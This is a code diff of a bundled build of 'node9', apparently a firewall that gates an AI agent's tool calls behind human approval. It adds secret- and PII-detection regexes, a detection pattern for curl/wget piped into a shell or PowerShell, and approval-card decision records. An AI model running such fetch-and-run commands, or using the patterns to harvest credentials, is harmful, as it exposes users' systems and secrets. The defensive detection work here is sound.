+    ASSIGNED_SECRET_VALUE_RE = /(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})$/;
     ASSIGNED_SECRET_NAME_RE = /^([A-Za-z0-9_]+)/;
-    NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|pass)/i;
+    NAME_KEYWORD_RE = /^(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|pass)/i;
     ARN_CONTEXT_RE = /\barn:[A-Za-z0-9-]*:[^\s"'`]*$/i;
+    CIPHER_KEY_NAME_RE = /^([A-Za-z_][\w.]{0,40})/;
+    CIPHER_NAME_PARTS = /* @__PURE__ */ new Set([
+      "cipher",
+      "aes",
+      "enc",
+      "encrypt",
+      "encryption",
+      "crypt",
+      "crypto",
+      "secret",
+      "remember",
+      "rememberme",
+      "shiro",
+      "signing",
+      "hmac",
+      "master",
+      "private",
+      "des"
+    ]);
+    CIPHER_KEY_VALUE_RE = /([A-Za-z0-9+/]{22}==)$/;
+    LARAVEL_KEY_VALUE_RE = /base64:([A-Za-z0-9+/]{43}=)$/;
+    SQL_PASSWORD_VALUE_RE = /['"]([^'"\s]{8,128})['"]$/;
+    GRAFANA_KEY_VALUE_RE = /(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})$/;
     BASIC_VALUE_RE = /([A-Za-z0-9+/]{8,512}={0,2})$/;
     BASIC_PAIR_RE = /^([^:\s]{1,128}):(\S{8,256})$/;
     OTP_CAPTURE_RE = /["']([A-Z2-7]{16,128}=*)["']$/i;
+    DB_URL_PASSWORD_RE = /:\/\/[^:/\s@]*:([^@\s]{4,})@/;
     DLP_PATTERNS = [
       // ── AWS ───────────────────────────────────────────────────────────────────
       {
@@ -11521,7 +12311,8 @@ zoo`.split("\n");
       // ── Private keys (PEM) ────────────────────────────────────────────────────
       {
         name: "Private Key (PEM)",
-        regex: /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/,
+        // DSA and ENCRYPTED headers, and a PGP private key block (node9Firewall#385).
+        regex: /-----BEGIN (?:RSA |EC |OPENSSH |DSA |ENCRYPTED |PGP )?PRIVATE KEY(?: BLOCK)?-----/,
         severity: "block",
         keywords: ["-----begin"]
       },
@@ -11802,7 +12593,7 @@ zoo`.split("\n");
           "clickhouse",
           "cassandra"
         ],
-        minEntropy: 3
+        validate: validateDbConnectionString
       },
       // ── Credential in a URL query value ───────────────────────────────────────
       // A query parameter whose key names a secret (`?secret=`, `&apiKey=`,
@@ -11831,6 +12622,63 @@ zoo`.split("\n");
         redactGroup: 1,
         argumentsOnly: true
       },
+      // ── Shapes from the CredData review (fw#372 B4, node9Firewall#385) ────────
+      // All review and argumentsOnly, like Assigned Secret: the live gate asks,
+      // the raw scanners stay as they were.
+      {
+        name: "Cipher Key Literal",
+        regex: /\b([A-Za-z_][\w.]{0,40}key)[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/]{22}==)/i,
+        severity: "review",
+        keywords: ["key"],
+        validate: validateCipherKeyLiteral,
+        redactGroup: 2,
+        argumentsOnly: true
+      },
+      {
+        name: "Laravel App Key",
+        regex: /\bAPP_KEY[ \t]{0,8}=[ \t]{0,8}["']?(base64:[A-Za-z0-9+/]{43}=)/,
+        severity: "review",
+        keywords: ["app_key"],
+        validate: validateLaravelAppKey,
+        redactGroup: 1,
+        argumentsOnly: true
+      },
+      {
+        // `key-` plus 32 hex characters, Mailgun's legacy private key shape.
+        name: "Mailgun API Key",
+        regex: /\bkey-[0-9a-f]{32}\b/,
+        severity: "review",
+        keywords: ["key-"],
+        argumentsOnly: true
+      },
+      {
+        // A kubeadm bootstrap token, named as one by its flag or key.
+        name: "Kubeadm Bootstrap Token",
+        regex: /(?:--token[= ]|\btoken:[ \t]{0,8}|--discovery-token[= ])([a-z0-9]{6}\.[a-z0-9]{16})\b/,
+        severity: "review",
+        keywords: ["token"],
+        redactGroup: 1,
+        argumentsOnly: true
+      },
+      {
+        // `CREATE USER ... IDENTIFIED BY 'x'` (MySQL, Oracle), `WITH PASSWORD 'x'` (Postgres).
+        name: "SQL Account Password",
+        regex: /\b(?:IDENTIFIED\s+BY|WITH\s+PASSWORD)\s*['"]([^'"\s]{8,128})['"]/i,
+        severity: "review",
+        keywords: ["identified by", "with password"],
+        validate: validateSqlPassword,
+        redactGroup: 1,
+        argumentsOnly: true
+      },
+      {
+        // The provisioned (legacy) Grafana API key: base64 of a JSON object with k, n and id.
+        name: "Grafana API Key",
+        regex: /\b(eyJrIjoi[A-Za-z0-9+/]{20,}={0,2})/,
+        severity: "block",
+        keywords: ["eyjrijoi"],
+        validate: validateGrafanaApiKey,
+        redactGroup: 1
+      },
       // ── Secret assigned to a telling name ─────────────────────────────────────
       // `password: ...`, `JWT_SECRET=...`, `api_key = "..."`. The name alone is
       // not a finding: most such lines hold a reference (`process.env.X`), a
@@ -11843,7 +12691,10 @@ zoo`.split("\n");
       // name are written out, not as a counted group, to keep star height 1.
       {
         name: "Assigned Secret",
-        regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]]?\\?["'\]]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?([A-Za-z0-9+/_.!@#$%^*~-]{12,512}={0,2})/i,
+        // fw#372 B4: `aes_key`, `cipher_key`, `subscription_key` join the names; a
+        // backtick may close the name; `|` and `\` may occur in the value
+        // (`\/` is how JSON escapes a slash).
+        regex: /(?:password|passphrase|passwd|pwd|secret|token|api[_-]?key|auth[_-]?key|private[_-]?key|access[_-]?key|client[_-]?secret|consumer[_-]?key|app[_-]?key|signing[_-]?key|encryption[_-]?key|master[_-]?key|aes[_-]?key|cipher[_-]?key|subscription[_-]?key|jsapi[_-]?ticket|\bpass(?![A-Za-z0-9])|_pass(?![A-Za-z0-9]))[A-Za-z0-9_]{0,40}\\?["'\]`]?\\?["'\]`]?[ \t]{0,8}(?::=|=>|[:=])[ \t]{0,8}\\?["'`]?((?:[A-Za-z0-9+/_.!@#$%^*~|-]|\\\/){12,512}={0,2})/i,
         severity: "review",
         keywords: ["pass", "pwd", "secret", "token", "key", "ticket"],
         validate: validateAssignedSecret,
@@ -12538,21 +13389,13 @@ zoo`.split("\n");
       ["preview_start", ["url"]],
       ["browser_batch", ["actions[].input.url"]]
     ]);
-    SECRET_VIEW_LIMITS = {
-      /** A decoded text that itself decodes is followed this many layers; a deeper layer is reviewed. */
-      maxDepth: 4,
-      /** Nested views per parent view, and nested text per call; past either the call is reviewed. */
-      maxNestedViewsPerLeaf: 64,
-      maxNestedBytes: 1048576,
-      /** Joined hostname-label text per call; past it the call is reviewed. */
-      maxJoinedLabelBytes: 1048576,
-      /** Decoded fragments are matched in batches of about this many characters. */
-      batchCharacters: 65536,
-      /** Only a valid DNS name has its labels joined. */
-      maxHostLength: 253,
-      maxLabelLength: 63,
-      maxLabels: 127
-    };
+    MCP_DESTINATION_KEYS = [
+      "destination",
+      "endpoint",
+      "webhook",
+      "webhook_url",
+      "callback_url"
+    ];
     ARGUMENT_SCAN_LIMITS = {
       maxDepth: 12,
       maxNodes: 16384,
@@ -12613,11 +13456,67 @@ zoo`.split("\n");
     PII_EMAIL_RE = /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,}\b/;
     PII_SSN_RE = /\b\d{3}-\d{2}-\d{4}\b/;
     PII_PHONE_RE = /\b(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]\d{3}[-.\s]\d{4}\b/;
-    PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|6\d{3})[-\s]?\d{4}[-\s]?\d{4}[-\s]?\d{4}\b/;
-    PII_CC15_RE = /\b3[47]\d{2}[-\s]?\d{6}[-\s]?\d{5}\b/;
+    PII_CC16_RE = /\b(?:4\d{3}|5[1-5]\d{2}|2(?:22[1-9]|2[3-9]\d|[3-6]\d\d|7[01]\d|720)|6\d{3}|35(?:2[89]|[3-8]\d)|220[0-4])[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}\b/;
+    PII_CC15_RE = /\b3[47]\d{2}[-\s.]?\d{6}[-\s.]?\d{5}\b/;
+    PII_CC14_RE = /\b3(?:0[0-5]\d|[68]\d\d)[-\s.]?\d{6}[-\s.]?\d{4}\b/;
+    PII_CC13_RE = /\b4\d{3}[-\s.]?\d{3}[-\s.]?\d{3}[-\s.]?\d{3}\b/;
+    PII_CC19_RE = /\b4\d{3}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{4}[-\s.]?\d{3}\b/;
+    CARD_PATTERNS = [PII_CC16_RE, PII_CC15_RE, PII_CC14_RE, PII_CC13_RE, PII_CC19_RE];
+    PII_ROUTING_RE = /\b\d{9}\b/;
+    ROUTING_LABEL_RE = /\b(?:routing|aba|rtn)\b/i;
+    ROUTING_LABEL_WINDOW = 24;
+    NATIONAL_ID_SHAPES = [
+      { regex: /\b[A-Z]{6}\d{2}[A-EHLMPRST]\d{2}[A-Z]\d{3}[A-Z]\b/, validate: validateCodiceFiscale },
+      { regex: /\b(?:\d{8}|[XYZ]\d{7})[A-Z]\b/, validate: validateSpanishId },
+      { regex: /\b756\.\d{4}\.\d{4}\.\d{2}\b/, validate: validateSwissAhv },
+      { regex: /\bCHE-\d{3}\.\d{3}\.\d{3}\b/i, validate: validateSwissUid },
+      {
+        regex: /\b[12] ?\d{2} ?(?:0[1-9]|1[0-2]|[2-9]\d) ?(?:\d{2}|2[AB]) ?\d{3} ?\d{3} ?\d{2}\b/,
+        validate: validateNir
+      },
+      // PESEL and CNP are bare 11- and 13-digit runs: a millisecond timestamp
+      // passes the CNP rules about 1 time in 400 and a random 11-digit id passes
+      // PESEL about 1 in 50 (measured), so both need their name nearby.
+      { regex: /\b\d{11}\b/, validate: validatePesel, labelled: true },
+      { regex: /\b[1-9]\d{12}\b/, validate: validateCnp, labelled: true },
+      { regex: /\b\d{6}[-+]\d{4}\b/, validate: validateSwedishPersonnummer, labelled: true },
+      { regex: /\b\d{11}\b/, validate: validateNorwegianFnr, labelled: true },
+      { regex: /\b\d{6}[-+A-FU-Y]\d{3}[0-9A-Y]\b/, validate: validateFinnishHetu, labelled: true }
+    ];
+    NATIONAL_ID_LABEL_RE = /\b(?:personnummer|personal identity number|f[øo]dselsnummer|hetu|henkil[öo]tunnus|pesel|cnp|cod numeric personal|codul numeric personal|national id(?:entification)?(?: number)?)\b/i;
+    NATIONAL_ID_LABEL_WINDOW = 32;
+    NATIONAL_ID_GUARD_RE = /\d{3}|[A-Z]{6}\d{2}/;
     PII_IBAN_RE = /\b[A-Z]{2}\d{2}(?:[A-Z0-9]|[ -][A-Z0-9]){11,30}\b/;
-    REALTIME_PII_PATTERNS = ["SSN", "Credit Card", "IBAN"];
+    REALTIME_PII_PATTERNS = [
+      "SSN",
+      "Credit Card",
+      "IBAN",
+      "Bank Routing Number",
+      "National ID"
+    ];
     MAX_PII_SCAN_BYTES = 1e5;
+    IBAN_DESTINATION_KEYS = /* @__PURE__ */ new Set([
+      "to",
+      "recipient",
+      "recipients",
+      "payee",
+      "beneficiary",
+      "destination",
+      "iban",
+      "account",
+      "account_number",
+      "accountnumber"
+    ]);
+    WHOLE_IBAN_RE = /^[A-Z]{2}\d{2}[A-Z0-9 -]{11,34}$/;
+    JSON_ESCAPE_RE = /\\(?:[ntr"\\/]|u[0-9a-fA-F]{4})/g;
+    JSON_ESCAPES = {
+      n: "\n",
+      t: "	",
+      r: "\r",
+      '"': '"',
+      "\\": "\\",
+      "/": "/"
+    };
     MASKED_KINDS = /* @__PURE__ */ new Set(["email", "iban", "account"]);
     ENTRY_RE = /^(email|iban|account):([^#\s]{1,200}(?: [^#\s]{1,40}){0,4})#sha256:([0-9a-f]{64})$/;
     IBAN_TEXT_RE = /\b[A-Z]{2}\d{2}(?:[ -]?[A-Z0-9]{4}){2,7}(?:[ -]?[A-Z0-9]{1,4})?\b/gi;
@@ -12953,6 +13852,9 @@ function appendLocalAudit(toolName, args, decision, checkedBy, meta, auditHashAr
     ...transcriptPathField,
     ...taintFields,
     ...exposureFields,
+    ...meta?.decidedBy && { decidedBy: meta.decidedBy },
+    ...meta?.channel && { channel: meta.channel },
+    ...meta?.cardId && { cardId: meta.cardId },
     ...testRun,
     agent: meta?.agent,
     mcpServer: meta?.mcpServer,
@@ -13185,8 +14087,8 @@ var ConfigFileSchema = import_zod.z.object({
 }).strict();
 function formatIssues(issues) {
   const lines = issues.map((issue) => {
-    const path26 = issue.path.length > 0 ? issue.path.map(String).join(".") : "root";
-    return `  \u2022 ${path26}: ${issue.message}`;
+    const path27 = issue.path.length > 0 ? issue.path.map(String).join(".") : "root";
+    return `  \u2022 ${path27}: ${issue.message}`;
   });
   return `Invalid config:
 ${lines.join("\n")}`;
@@ -13199,9 +14101,9 @@ function prunePaths(root, paths) {
     const yi = y[y.length - 1];
     return typeof xi === "number" && typeof yi === "number" ? yi - xi : 0;
   });
-  for (const path26 of ordered) {
+  for (const path27 of ordered) {
     let cur = root;
-    for (const key of path26.slice(0, -1)) {
+    for (const key of path27.slice(0, -1)) {
       if (cur === null || typeof cur !== "object") {
         cur = void 0;
         break;
@@ -13209,7 +14111,7 @@ function prunePaths(root, paths) {
       cur = cur[key];
     }
     if (cur === null || typeof cur !== "object") continue;
-    const last = path26[path26.length - 1];
+    const last = path27[path27.length - 1];
     if (Array.isArray(cur)) {
       const i = Number(last);
       if (Number.isInteger(i) && i >= 0 && i < cur.length) {
@@ -13245,7 +14147,7 @@ function sanitizeConfig(raw) {
           return issue.keys.map((k) => [...at, k]);
         }
         return [at.slice(0, -level || void 0)];
-      }).filter((path26) => path26.length > 0);
+      }).filter((path27) => path27.length > 0);
       if (paths.length === 0 || !prunePaths(working, paths)) break;
     }
     if (ConfigFileSchema.safeParse(working).success) break;
@@ -13980,8 +14882,10 @@ var DEFAULT_CONFIG = {
             // Downloader and sink groups mirror the engine's DOWNLOAD_CMDS and
             // SHELL_INTERPRETERS; pipe-to-shell-vocabulary-drift.spec.ts fails if
             // either list gains a name this regex does not. The PowerShell sinks
-            // carry \b so `iex` cannot match inside e.g. `iexplore`.
-            value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh|(?:iex|invoke-expression|powershell|pwsh)\\b)",
+            // carry \b so `iex` cannot match inside e.g. `iexplore`, and so does
+            // `sh`, so a quoted body containing `| Shipment` is not a shell
+            // (fw#372 X3, node9Firewall#332).
+            value: "(^|&&|\\|\\||;)\\s*(curl|wget|iwr|irm|invoke-webrequest|invoke-restmethod)[^|]*\\|\\s*(?:(ba|z|da|fi|c|k)?sh\\b|(?:iex|invoke-expression|powershell|pwsh)\\b)",
             flags: "i"
           }
         ],
@@ -14644,13 +15548,13 @@ function getConfig(cwd) {
         }
         if (Array.isArray(mc.jailPaths)) {
           for (const jp of mc.jailPaths) {
-            const path26 = typeof jp?.path === "string" ? jp.path.trim() : "";
-            if (!path26) continue;
+            const path27 = typeof jp?.path === "string" ? jp.path.trim() : "";
+            if (!path27) continue;
             const verdict = jp?.verdict === "review" ? "review" : "block";
-            for (const r of pathRules(path26, verdict, "org-managed jail")) {
+            for (const r of pathRules(path27, verdict, "org-managed jail")) {
               mergedPolicy.smartRules.push({ ...r, name: `org:${r.name}` });
             }
-            mergedPolicy.managedJailPaths.push({ path: path26, verdict });
+            mergedPolicy.managedJailPaths.push({ path: path27, verdict });
           }
         }
         if (Array.isArray(mc.trustedHosts)) {
@@ -14960,8 +15864,8 @@ function scanFilePath(filePath, cwd = process.cwd(), options = {}) {
   if (!filePath) return null;
   let resolved;
   try {
-    const absolute = import_path5.default.resolve(cwd, filePath);
-    resolved = import_fs5.default.realpathSync.native(absolute);
+    const absolute2 = import_path5.default.resolve(cwd, filePath);
+    resolved = import_fs5.default.realpathSync.native(absolute2);
   } catch (err) {
     const code = err.code;
     if (code === "ENOENT" || code === "ENOTDIR") {
@@ -15340,9 +16244,159 @@ function getPersistentDecision(toolName) {
 
 // src/auth/daemon.ts
 var import_fs10 = __toESM(require("fs"));
+var import_http = __toESM(require("http"));
 var import_net = __toESM(require("net"));
 var import_path10 = __toESM(require("path"));
 var import_os8 = __toESM(require("os"));
+
+// src/auth/decision-record.ts
+var CHANNELS = ["terminal", "monitor", "native", "cloud"];
+var PERSON_CHANNELS = /* @__PURE__ */ new Set([
+  "terminal",
+  "monitor",
+  "native"
+]);
+var CARD_PROTOCOL = 2;
+var PERSON_LABELS = {
+  terminal: "User Decision (Terminal (node9 tail))",
+  monitor: "User Decision (node9 monitor)",
+  native: "User Decision (Native)"
+};
+var REDIRECT_LABEL = "Steered Redirect (Terminal)";
+var TIMER_LABEL = "Approval Timeout";
+var CLOUD_LABEL = "Organization Policy (SaaS)";
+var ABANDONED_LABEL = "No Approver (node9 tail closed)";
+function personRecord(channel, decision, extra = {}, now = Date.now()) {
+  return {
+    decision,
+    decidedBy: "person",
+    channel,
+    label: extra.redirect ? REDIRECT_LABEL : PERSON_LABELS[channel],
+    ...extra,
+    decidedAt: now
+  };
+}
+function timerRecord(timeoutMs, now = Date.now()) {
+  return {
+    decision: "deny",
+    decidedBy: "timer",
+    label: TIMER_LABEL,
+    reason: `No response within ${Math.round(timeoutMs / 1e3)}s: auto-denied by the approval timeout.`,
+    decidedAt: now
+  };
+}
+function abandonedRecord(now = Date.now()) {
+  return {
+    decision: "deny",
+    decidedBy: "abandoned",
+    label: ABANDONED_LABEL,
+    reason: "No approver was left to answer: node9 tail was closed.",
+    decidedAt: now
+  };
+}
+var DECIDED_BY = /* @__PURE__ */ new Set([
+  "person",
+  "timer",
+  "cloud",
+  "policy",
+  "abandoned"
+]);
+var STANDING = /* @__PURE__ */ new Set([
+  "always-allow",
+  "always-deny",
+  "trust",
+  "trust-recipients"
+]);
+function boundedString(v, max) {
+  return typeof v === "string" && v.length > 0 ? v.slice(0, max) : void 0;
+}
+function parseDecisionRecord(x) {
+  if (!x || typeof x !== "object") return null;
+  const r = x;
+  if (r.decision !== "allow" && r.decision !== "deny") return null;
+  if (typeof r.decidedBy !== "string" || !DECIDED_BY.has(r.decidedBy)) return null;
+  const label2 = boundedString(r.label, 200);
+  if (!label2) return null;
+  const channel = typeof r.channel === "string" && CHANNELS.includes(r.channel) ? r.channel : void 0;
+  if (r.decidedBy === "person" && (!channel || !PERSON_CHANNELS.has(channel))) return null;
+  const out = {
+    decision: r.decision,
+    decidedBy: r.decidedBy,
+    label: label2,
+    decidedAt: typeof r.decidedAt === "number" && Number.isFinite(r.decidedAt) ? r.decidedAt : 0
+  };
+  if (channel) out.channel = channel;
+  const redirect = boundedString(r.redirect, 2e3);
+  if (redirect) out.redirect = redirect;
+  const reason = boundedString(r.reason, 2e3);
+  if (reason) out.reason = reason;
+  const ruleName = boundedString(r.ruleName, 256);
+  if (ruleName) out.ruleName = ruleName;
+  if (typeof r.standing === "string" && STANDING.has(r.standing))
+    out.standing = r.standing;
+  const trustDuration = boundedString(r.trustDuration, 8);
+  if (trustDuration) out.trustDuration = trustDuration;
+  return out;
+}
+function legacyWaitFields(record) {
+  switch (record.decidedBy) {
+    case "person": {
+      const source = record.redirect ? "terminal-redirect" : record.channel === "native" ? "native" : "terminal";
+      const reason = record.redirect ?? record.reason;
+      return { decision: record.decision, source, ...reason && { reason } };
+    }
+    case "timer":
+      return {
+        decision: record.decision,
+        source: "timeout",
+        ...record.reason && { reason: record.reason }
+      };
+    case "cloud":
+    case "policy":
+      return {
+        decision: record.decision,
+        source: record.decidedBy,
+        ...record.reason && { reason: record.reason }
+      };
+    case "abandoned":
+      return { decision: "abandoned" };
+  }
+}
+function recordFromLegacyWait(body, now = Date.now()) {
+  if (body.decision === "abandoned") return abandonedRecord(now);
+  const decision = body.decision;
+  switch (body.source) {
+    case "terminal":
+    case "browser":
+      return personRecord("terminal", decision, body.reason ? { reason: body.reason } : {}, now);
+    case "native":
+      return personRecord("native", decision, {}, now);
+    case "terminal-redirect":
+      return personRecord("terminal", decision, body.reason ? { redirect: body.reason } : {}, now);
+    case "timeout":
+      return { ...timerRecord(0, now), ...body.reason && { reason: body.reason } };
+    case "cloud":
+      return {
+        decision,
+        decidedBy: "cloud",
+        label: CLOUD_LABEL,
+        ...body.reason && { reason: body.reason },
+        decidedAt: now
+      };
+    case "policy":
+      return {
+        decision,
+        decidedBy: "policy",
+        label: "Policy",
+        ...body.reason && { reason: body.reason },
+        decidedAt: now
+      };
+    default:
+      return null;
+  }
+}
+
+// src/auth/daemon.ts
 var ACTIVITY_SOCKET_PATH = process.platform === "win32" ? "\\\\.\\pipe\\node9-activity" : import_path10.default.join(import_os8.default.tmpdir(), "node9-activity.sock");
 function notifyActivitySocket(data) {
   return new Promise((resolve) => {
@@ -15440,7 +16494,7 @@ async function daemonHasInteractiveApprover(timeoutMs = 400) {
     return false;
   }
 }
-async function registerDaemonEntry(toolName, args, meta, riskMetadata, activityId, cwd, recoveryCommand, skipBackgroundAuth, viewOnly, localSmartRuleMatched, socketActivitySent, sessionId) {
+async function registerDaemonEntry(toolName, args, meta, riskMetadata, activityId, cwd, recoveryCommand, skipBackgroundAuth, viewOnly, localSmartRuleMatched, socketActivitySent, sessionId, card) {
   const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
   const ctrl = new AbortController();
   const timer = setTimeout(() => ctrl.abort(), 5e3);
@@ -15466,19 +16520,43 @@ async function registerDaemonEntry(toolName, args, meta, riskMetadata, activityI
         ...skipBackgroundAuth && { skipBackgroundAuth: true },
         ...viewOnly && { viewOnly: true },
         ...localSmartRuleMatched && { localSmartRuleMatched: true },
-        ...sessionId && { sessionId }
+        ...sessionId && { sessionId },
+        ...cardFields(card)
       }),
       signal: ctrl.signal
     });
     if (!res.ok) throw new Error("Daemon fail");
-    const { id, allowCount } = await res.json();
-    return { id, allowCount: allowCount ?? 1 };
+    return registeredCard(await res.json());
   } finally {
     clearTimeout(timer);
   }
 }
+function cardFields(card) {
+  return {
+    // A review card: the hook already decided this call needs a person; the
+    // daemon never checks it again (approval-card design, defect 1).
+    kind: "review",
+    // Protocol 2 makes the card's /wait require the internal token: claim it
+    // only when this process can read the token (a daemon under another uid
+    // is running but its pid file probe fails with EPERM), or every wait
+    // would get 403 and the review would be denied unseen.
+    ...getInternalToken() && { protocol: CARD_PROTOCOL },
+    ...card?.channels && { channels: card.channels },
+    ...typeof card?.timeoutMs === "number" && { timeoutMs: card.timeoutMs }
+  };
+}
+function registeredCard(body) {
+  const b = body;
+  return {
+    id: b.id,
+    allowCount: b.allowCount ?? 1,
+    ...b.protocol === CARD_PROTOCOL && {
+      protocol: CARD_PROTOCOL,
+      deadline: typeof b.deadline === "number" ? b.deadline : null
+    }
+  };
+}
 async function waitForDaemonDecision(id, signal, maxWaitMs = 12e4) {
-  const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
   const waitCtrl = new AbortController();
   let capped = false;
   const waitTimer = maxWaitMs > 0 ? setTimeout(() => {
@@ -15488,14 +16566,18 @@ async function waitForDaemonDecision(id, signal, maxWaitMs = 12e4) {
   const onAbort = () => waitCtrl.abort();
   if (signal) signal.addEventListener("abort", onAbort);
   try {
-    const waitRes = await fetch(`${base2}/wait/${id}`, { signal: waitCtrl.signal }).catch(
+    const { status, body } = await daemonGet(`/wait/${id}`, waitCtrl.signal).catch(
       (err) => {
         if (capped && !signal?.aborted) throw new Error("node9 daemon did not answer in time");
         throw err;
       }
     );
-    if (!waitRes.ok) return { decision: "deny" };
-    const { decision, source, reason } = await waitRes.json();
+    if (status === 409) throw new Error("node9 card was withdrawn");
+    if (status !== 200) return { decision: "deny" };
+    const parsed = JSON.parse(body);
+    const record = parseDecisionRecord(parsed.record);
+    if (record) return { ...legacyWaitFields(record), record };
+    const { decision, source, reason } = parsed;
     if (decision === "allow") return { decision: "allow", source };
     if (decision === "abandoned") return { decision: "abandoned", source };
     return { decision: "deny", source, reason };
@@ -15504,7 +16586,29 @@ async function waitForDaemonDecision(id, signal, maxWaitMs = 12e4) {
     if (signal) signal.removeEventListener("abort", onAbort);
   }
 }
-async function notifyDaemonViewer(toolName, args, meta, riskMetadata, activityId, socketActivitySent) {
+function daemonGet(urlPath, signal, token = getInternalToken()) {
+  return new Promise((resolve, reject) => {
+    const req = import_http.default.get(
+      {
+        host: DAEMON_HOST,
+        port: DAEMON_PORT,
+        path: urlPath,
+        signal,
+        agent: false,
+        headers: token ? { "X-Node9-Internal": token } : {}
+      },
+      (res) => {
+        let body = "";
+        res.setEncoding("utf8");
+        res.on("data", (chunk) => body += chunk);
+        res.on("end", () => resolve({ status: res.statusCode ?? 0, body }));
+        res.on("error", reject);
+      }
+    );
+    req.on("error", reject);
+  });
+}
+async function notifyDaemonViewer(toolName, args, meta, riskMetadata, activityId, socketActivitySent, extra) {
   const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
   const res = await fetch(`${base2}/check`, {
     method: "POST",
@@ -15520,13 +16624,16 @@ async function notifyDaemonViewer(toolName, args, meta, riskMetadata, activityId
       // event via socket. Same contract as registerDaemonEntry — without
       // it the daemon double-emits 'activity' for cloud-enforced flows.
       fromCLI: socketActivitySent !== false,
-      activityId
+      activityId,
+      ...extra?.cwd && { cwd: extra.cwd },
+      ...extra?.recoveryCommand && { recoveryCommand: extra.recoveryCommand },
+      ...extra?.sessionId && { sessionId: extra.sessionId },
+      ...cardFields(extra?.card)
     }),
     signal: AbortSignal.timeout(3e3)
   });
   if (!res.ok) throw new Error("Daemon unreachable");
-  const { id, allowCount } = await res.json();
-  return { id, allowCount: allowCount ?? 1 };
+  return registeredCard(await res.json());
 }
 async function notifyTaint(filePath, source, fromEid) {
   if (!isDaemonRunning()) return;
@@ -15568,6 +16675,38 @@ async function checkTaint(paths) {
     return { tainted: false, daemonUnavailable: true };
   }
 }
+async function notifyWritten(paths) {
+  if (paths.length === 0 || !isDaemonRunning()) return;
+  const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
+  try {
+    await fetch(`${base2}/written`, {
+      method: "POST",
+      headers: exposureHeaders(),
+      body: JSON.stringify({ paths: paths.slice(0, 64) }),
+      signal: AbortSignal.timeout(1e3)
+    });
+  } catch {
+  }
+}
+async function checkWritten(paths) {
+  if (paths.length === 0) return { written: [] };
+  if (!isDaemonRunning()) return { written: [], daemonUnavailable: true };
+  const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
+  try {
+    const res = await fetch(`${base2}/written/check`, {
+      method: "POST",
+      headers: exposureHeaders(),
+      body: JSON.stringify({ paths: paths.slice(0, 64) }),
+      signal: AbortSignal.timeout(2e3)
+    });
+    const body = await res.json();
+    return {
+      written: Array.isArray(body.written) ? body.written.filter((p) => typeof p === "string") : []
+    };
+  } catch {
+    return { written: [], daemonUnavailable: true };
+  }
+}
 async function checkSessionTaint(sessionId) {
   if (!sessionId || !isDaemonRunning()) return { tainted: false };
   const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
@@ -15619,19 +16758,23 @@ async function approveSessionExposure(sessionId, keys) {
   } catch {
   }
 }
-async function resolveViaDaemon(id, decision, internalToken, source) {
+async function resolveViaDaemon(id, decision, internalToken, source, record) {
   const base2 = `http://${DAEMON_HOST}:${DAEMON_PORT}`;
-  await fetch(`${base2}/resolve/${id}`, {
+  const res = await fetch(`${base2}/resolve/${id}`, {
     method: "POST",
     headers: { "Content-Type": "application/json", "X-Node9-Internal": internalToken },
-    body: JSON.stringify({ decision, ...source && { source } }),
+    body: JSON.stringify({ decision, ...source && { source }, ...record && { record } }),
     signal: AbortSignal.timeout(3e3)
   });
+  if (!res.ok) return null;
+  const body = await res.json().catch(() => null);
+  const winner = parseDecisionRecord(body?.record);
+  return winner && typeof body?.won === "boolean" ? { won: body.won, record: winner } : null;
 }
 
 // src/auth/orchestrator.ts
 var import_crypto10 = require("crypto");
-var import_os18 = __toESM(require("os"));
+var import_os19 = __toESM(require("os"));
 
 // src/ui/native.ts
 var import_child_process = require("child_process");
@@ -16056,6 +17199,98 @@ function canaryValues() {
   return loadCanaries().map((r) => ({ id: r.id, value: r.value, retired: Boolean(r.retiredAt) }));
 }
 
+// src/auth/orchestrator.ts
+init_dist();
+
+// src/auth/session-script.ts
+var import_fs13 = __toESM(require("fs"));
+var import_os11 = __toESM(require("os"));
+var import_path15 = __toESM(require("path"));
+init_dist();
+var MAX_SCRIPT_BYTES = 64 * 1024;
+var MAX_RECORDED_WRITES = 32;
+function readScriptFile(resolved) {
+  let fd;
+  try {
+    fd = import_fs13.default.openSync(resolved, import_fs13.default.constants.O_RDONLY | (import_fs13.default.constants.O_NONBLOCK ?? 0));
+    const st = import_fs13.default.fstatSync(fd);
+    if (!st.isFile() || st.size > MAX_SCRIPT_BYTES) return null;
+    const buf = Buffer.alloc(MAX_SCRIPT_BYTES + 1);
